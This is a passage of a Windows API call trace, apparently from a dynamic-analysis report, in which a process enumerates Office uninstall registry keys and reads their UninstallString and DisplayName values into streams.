(lpString="{90140000-0015-0409-0000-0000000FF1CE}") returned 38 [0068.224] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.224] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.224] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-0015-0409-0000-0000000FF1CE}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0015-0409-0000-0000000FF1CE}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0015-0409-0000-0000000FF1CE}" [0068.224] LocalFree (hMem=0x626e60) returned 0x0 [0068.224] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0015-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.224] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.224] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.224] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.224] RegCloseKey (hKey=0x108) returned 0x0 [0068.224] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.224] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0015-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.225] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.225] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x626e60 [0068.225] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x2b | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.225] RegCloseKey (hKey=0x108) returned 0x0 [0068.225] lstrlenA (lpString="{90140000-0015-0409-0000-0000000FF1CE}") returned 38 [0068.225] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.225] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x2b, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2b) returned 0x0 [0068.225] LocalFree (hMem=0x626e60) returned 0x0 [0068.225] LocalFree (hMem=0x626b70) returned 0x0 [0068.225] LocalFree (hMem=0x626a88) returned 0x0 [0068.225] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x1e, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-0016-0409-0000-0000000FF1CE}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.225] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.225] lstrlenA (lpString="\\") returned 1 [0068.225] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.225] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.225] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.225] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.225] lstrlenA (lpString="{90140000-0016-0409-0000-0000000FF1CE}") returned 38 [0068.225] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.225] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.225] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-0016-0409-0000-0000000FF1CE}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0016-0409-0000-0000000FF1CE}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0016-0409-0000-0000000FF1CE}" [0068.225] LocalFree (hMem=0x626e60) returned 0x0 [0068.225] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0016-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.225] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.225] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.225] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.225] RegCloseKey (hKey=0x108) returned 0x0 [0068.226] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.226] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0016-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.226] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2a) returned 0x0 [0068.226] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x626e60 [0068.226] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x2a | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x2a) returned 0x0 [0068.226] RegCloseKey (hKey=0x108) returned 0x0 [0068.226] lstrlenA (lpString="{90140000-0016-0409-0000-0000000FF1CE}") returned 38 [0068.226] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.226] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x2a, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2a) returned 0x0 [0068.226] LocalFree (hMem=0x626e60) returned 0x0 [0068.226] LocalFree (hMem=0x626b70) returned 0x0 [0068.226] LocalFree (hMem=0x626a88) returned 0x0 [0068.226] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x1f, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-0018-0409-0000-0000000FF1CE}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.226] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.226] lstrlenA (lpString="\\") returned 1 [0068.226] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.226] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.227] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.227] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.227] lstrlenA (lpString="{90140000-0018-0409-0000-0000000FF1CE}") returned 38 [0068.227] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.227] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.227] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-0018-0409-0000-0000000FF1CE}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0018-0409-0000-0000000FF1CE}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0018-0409-0000-0000000FF1CE}" [0068.227] LocalFree (hMem=0x626e60) returned 0x0 [0068.227] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0018-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.227] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.227] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.227] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.227] RegCloseKey (hKey=0x108) returned 0x0 [0068.227] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.227] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0018-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.227] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2f) returned 0x0 [0068.227] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x626e60 [0068.227] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x2f | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x2f) returned 0x0 [0068.227] RegCloseKey (hKey=0x108) returned 0x0 [0068.227] lstrlenA (lpString="{90140000-0018-0409-0000-0000000FF1CE}") returned 38 [0068.227] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.227] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x2f, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2f) returned 0x0 [0068.227] LocalFree (hMem=0x626e60) returned 0x0 [0068.228] LocalFree (hMem=0x626b70) returned 0x0 [0068.228] LocalFree (hMem=0x626a88) returned 0x0 [0068.228] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x20, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-0019-0409-0000-0000000FF1CE}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.228] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.228] lstrlenA (lpString="\\") returned 1 [0068.228] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.228] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.228] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.228] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.228] lstrlenA (lpString="{90140000-0019-0409-0000-0000000FF1CE}") returned 38 [0068.228] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.228] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.228] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-0019-0409-0000-0000000FF1CE}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0019-0409-0000-0000000FF1CE}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0019-0409-0000-0000000FF1CE}" [0068.228] LocalFree (hMem=0x626e60) returned 0x0 [0068.228] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0019-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.228] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.228] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.228] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.228] RegCloseKey (hKey=0x108) returned 0x0 [0068.228] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.228] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-0019-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.228] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2e) returned 0x0 [0068.228] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x626e60 [0068.228] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x2e | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x2e) returned 0x0 [0068.228] RegCloseKey (hKey=0x108) returned 0x0 [0068.228] lstrlenA (lpString="{90140000-0019-0409-0000-0000000FF1CE}") returned 38 [0068.229] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.229] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x2e, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2e) returned 0x0 [0068.229] LocalFree (hMem=0x626e60) returned 0x0 [0068.229] LocalFree (hMem=0x626b70) returned 0x0 [0068.229] LocalFree (hMem=0x626a88) returned 0x0 [0068.229] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x21, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-001A-0409-0000-0000000FF1CE}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.229] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.229] lstrlenA (lpString="\\") returned 1 [0068.229] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.229] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.229] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.229] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.229] lstrlenA (lpString="{90140000-001A-0409-0000-0000000FF1CE}") returned 38 [0068.229] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.229] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.229] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-001A-0409-0000-0000000FF1CE}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001A-0409-0000-0000000FF1CE}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001A-0409-0000-0000000FF1CE}" [0068.229] LocalFree (hMem=0x626e60) returned 0x0 [0068.229] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001A-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.229] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.229] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.229] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.229] RegCloseKey (hKey=0x108) returned 0x0 [0068.229] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.229] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001A-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.229] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2c) returned 0x0 [0068.229] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x626e60 [0068.229] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x2c | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x2c) returned 0x0 [0068.230] RegCloseKey (hKey=0x108) returned 0x0 [0068.230] lstrlenA (lpString="{90140000-001A-0409-0000-0000000FF1CE}") returned 38 [0068.230] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.230] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x2c, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2c) returned 0x0 [0068.230] LocalFree (hMem=0x626e60) returned 0x0 [0068.230] LocalFree (hMem=0x626b70) returned 0x0 [0068.230] LocalFree (hMem=0x626a88) returned 0x0 [0068.230] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x22, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-001B-0409-0000-0000000FF1CE}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.230] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.230] lstrlenA (lpString="\\") returned 1 [0068.230] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.230] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.230] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.230] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.230] lstrlenA (lpString="{90140000-001B-0409-0000-0000000FF1CE}") returned 38 [0068.230] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.230] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.230] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-001B-0409-0000-0000000FF1CE}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001B-0409-0000-0000000FF1CE}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001B-0409-0000-0000000FF1CE}" [0068.230] LocalFree (hMem=0x626e60) returned 0x0 [0068.230] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001B-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.230] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.230] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.230] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.230] RegCloseKey (hKey=0x108) returned 0x0 [0068.230] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.230] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001B-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.230] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x29) returned 0x0 [0068.231] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x626e60 [0068.231] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x29 | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x29) returned 0x0 [0068.231] RegCloseKey (hKey=0x108) returned 0x0 [0068.231] lstrlenA (lpString="{90140000-001B-0409-0000-0000000FF1CE}") returned 38 [0068.231] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.231] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x29, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x29) returned 0x0 [0068.231] LocalFree (hMem=0x626e60) returned 0x0 [0068.231] LocalFree (hMem=0x626b70) returned 0x0 [0068.231] LocalFree (hMem=0x626a88) returned 0x0 [0068.231] 